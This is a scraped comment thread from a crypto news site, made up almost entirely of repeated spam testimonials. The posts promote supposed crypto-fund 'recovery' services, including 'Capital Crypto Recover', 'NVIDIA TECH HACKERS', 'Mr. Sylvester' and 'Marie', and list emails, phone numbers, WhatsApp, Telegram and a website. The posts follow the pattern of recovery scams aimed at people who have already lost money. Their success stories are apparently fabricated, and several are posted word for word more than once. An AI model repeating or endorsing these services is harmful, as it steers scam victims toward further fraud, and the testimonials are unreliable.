"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях